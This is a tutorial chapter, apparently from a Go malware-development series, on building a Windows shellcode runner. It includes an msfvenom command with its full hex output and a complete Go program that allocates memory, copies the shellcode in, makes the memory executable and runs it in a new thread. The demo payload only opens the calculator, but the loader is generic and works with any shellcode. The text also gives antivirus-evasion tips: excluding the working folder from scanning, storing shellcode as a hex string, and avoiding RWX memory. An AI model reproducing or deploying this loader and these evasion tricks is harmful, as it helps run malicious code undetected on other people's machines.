4. Shellcode Runner

#shellcoderunner #golang #maldev #malwaredevelopment

With all the knowledge we have it's now time to run some shellcode.

From ChatGPT : "Shellcode is a small piece of machine code typically used in the context of software exploits and malicious activities. It's called "shellcode" because it often provides a way to gain control over a computer system and execute arbitrary commands, effectively providing a shell (command-line interface) to an attacker."

To run shellcode in the current process the following windows APIs will be called:

To generate shellcode we will use msfvenom. The payload will not perform anything malicious but the behaviour is usually flagged by AV engines. It might be a good idea to add your working directory into the AV exception list. (reference for defender)

Let's start constructing our code.

Shellcode Generation

For this example we will generate a shellcode that is used to pop a calculator. I am currently working on windows 11 x64 so adjust your payload accordingly.

On kali I ran the following command:

┌──(kali㉿kali)-[~]
└─$ msfvenom  -f hex -p windows/x64/exec cmd=calc                        

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 272 bytes
Final size of hex file: 544 bytes
fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c6300
  • -f hex -> hex is the output format. hex will give me hex characters in a string

  • -p windows/x64/exec -> this is the payload. It executes a command in a x64 bit system

  • cmd=calc -> is the command to run. In our case a calculator

Go Program

Transform the shellcode from string to byte array

The shellcode in a string format is not useful to us. We have to turn the string into a byte array. Thankfully a package exists that could do the conversion for us.

Fun fact: Storing shellcode as a hex string helps evading static AV signatures (sometimes). Storing the shellcode in a byte slice will flag immediately (with most AVs)

sc, _ := hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c6300")

Memory Allocation

We then have to allocate memory for our shellcode. For memory allocation we will use the VirtualAlloc API. This API exists in the windows package so we will go ahead to implement it.

LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);
  • lpAddress: We will let the API decide where to allocate the memory, therefore this value will be set to 0

  • dwSize: Will be the size of our shellcode

  • flAllocationType: We need to reserve and commit memory

  • flProtect: This can be done in a number of ways. To write and execute shellcode we will need rwx permissions. It is however unusual for legitimate programs to allocate memory with rwx permissions and it is usually flagged my AV engines. Another option is to assign rx or rw and then change permissions as needed for writing and executing with VirtualProtect.

	fmt.Println("[+] Allocating memory for shellcode")
	addr, err := windows.VirtualAlloc(uintptr(0), 
					uintptr(len(sc)), 
					windows.MEM_COMMIT|windows.MEM_RESERVE,
					windows.PAGE_READWRITE)
	if err != nil {
		log.Fatalf("VirtualAlloc Failed: %v\n", err)
	}
	fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)

Copy Shellcode bytes to the allocated memory

To write the shellcode bytes to memory we will use the RtlMoveMemory API.

VOID RtlMoveMemory(
  _Out_       VOID UNALIGNED *Destination,
  _In_  const VOID UNALIGNED *Source,
  _In_        SIZE_T         Length
);

The arguments are self explanatory:

  • Destination address is the address returned from the VirtualAlloc API

  • Source is a pointer, pointing at the beginning of our sc byte array

  • Length is the length of our shellcode

Since the RtlMoveMemory is not part of the windows package we will use the syscall package to import it manually.

	modntdll := syscall.NewLazyDLL("Ntdll.dll")
	procrtlMoveMemory := modntdll.NewProc("RtlMoveMemory")

	procrtlMoveMemory.Call(addr, 
				uintptr(unsafe.Pointer(&sc[0])), 
				uintptr(len(sc)))
	fmt.Println("[+] Wrote shellcode bytes to destination address")

Changing the Memory permissions to RX

Since we assigned the memory permissions to ReadWrite we have to change the permissions to RX. Otherwise our program will crash when trying to start a thread from that memory region.

To do this we need to call the VirtualProtect API.

BOOL VirtualProtect(
  [in]  LPVOID lpAddress,
  [in]  SIZE_T dwSize,
  [in]  DWORD  flNewProtect,
  [out] PDWORD lpflOldProtect
);
  • lpAddress: is the target address return from VirtualAlloc

  • dwSize: is the size of our shellcode

  • flNewProtect: is the new permissions we would like to assign PAGE_EXECUTE_READ

  • lpflOldProtect: will store the old permissions in case we want to restore them later on.

	fmt.Println("[+] Changing Permissions to RX")
	var oldProtect uint32
	err = windows.VirtualProtect(addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect)

	if err != nil {
		log.Fatalf("VirtualProtect Failed: %v", err)
	}

Create a new Thread

Finally, we need to create a new thread pointing to our shellcode. CreateThread windows api will be used.

HANDLE CreateThread(
  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  [in]            SIZE_T                  dwStackSize,
  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,
  [in, optional]  __drv_aliasesMem LPVOID lpParameter,
  [in]            DWORD                   dwCreationFlags,
  [out, optional] LPDWORD                 lpThreadId
);

Although this is not implemented in the windows package it's fairly easy to implement since we only need to specify the lpStartAddress parameter.

	modKernel32 := syscall.NewLazyDLL("kernel32.dll")
	procCreateThread  := modKernel32.NewProc("CreateThread")
	tHandle, _, lastErr := procCreateThread.Call(
		uintptr(0),
		uintptr(0),
		addr,
		uintptr(0),
		uintptr(0),
		uintptr(0))

	if tHandle == 0 {
		log.Fatalf("Unable to Create Thread: %v\n", lastErr)
	}

	fmt.Printf("[+] Handle of newly created thread:  %x \n", tHandle)

Finally we wait for the shellcode to run

This API allows us to wait for the thread to execute otherwise the program will terminate before the calculator pops up.

DWORD WaitForSingleObject(
  [in] HANDLE hHandle,
  [in] DWORD  dwMilliseconds
);

hHandle: We will provide the handle returned by the CreateThread function

dwMilliseconds: We set that to infinite

windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE)

Complete Code

package main

import (
	"encoding/hex"
	"fmt"
	"log"
	"syscall"
	"unsafe"

	"golang.org/x/sys/windows"
)

func main() {
	//msfvenom  -f hex -p windows/x64/exec cmd=calc   
	sc, _ := hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c6300")

	fmt.Println("[+] Allocating memory for shellcode")
	addr, err := windows.VirtualAlloc(uintptr(0), uintptr(len(sc)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
	if err != nil {
		log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", err)
	}
	fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)

	modntdll := syscall.NewLazyDLL("Ntdll.dll")
	procrtlMoveMemory := modntdll.NewProc("RtlMoveMemory")

	procrtlMoveMemory.Call(addr, uintptr(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
	fmt.Println("[+] Wrote shellcode bytes to destination address")

	fmt.Println("[+] Changing Permissions to RX")
	var oldProtect uint32
	err = windows.VirtualProtect(addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect)

	if err != nil {
		log.Fatalf("[FATAL] VirtualProtect Failed: %v", err)
	}

	modKernel32 := syscall.NewLazyDLL("kernel32.dll")
	procCreateThread := modKernel32.NewProc("CreateThread")
	tHandle, _, lastErr := procCreateThread.Call(
		uintptr(0),
		uintptr(0),
		addr,
		uintptr(0),
		uintptr(0),
		uintptr(0))

	if tHandle == 0 {
		log.Fatalf("Unable to Create Thread: %v\n", lastErr)
	}

	fmt.Printf("[+] Handle of newly created thread:  %x \n", tHandle)
	windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE)
}

Last updated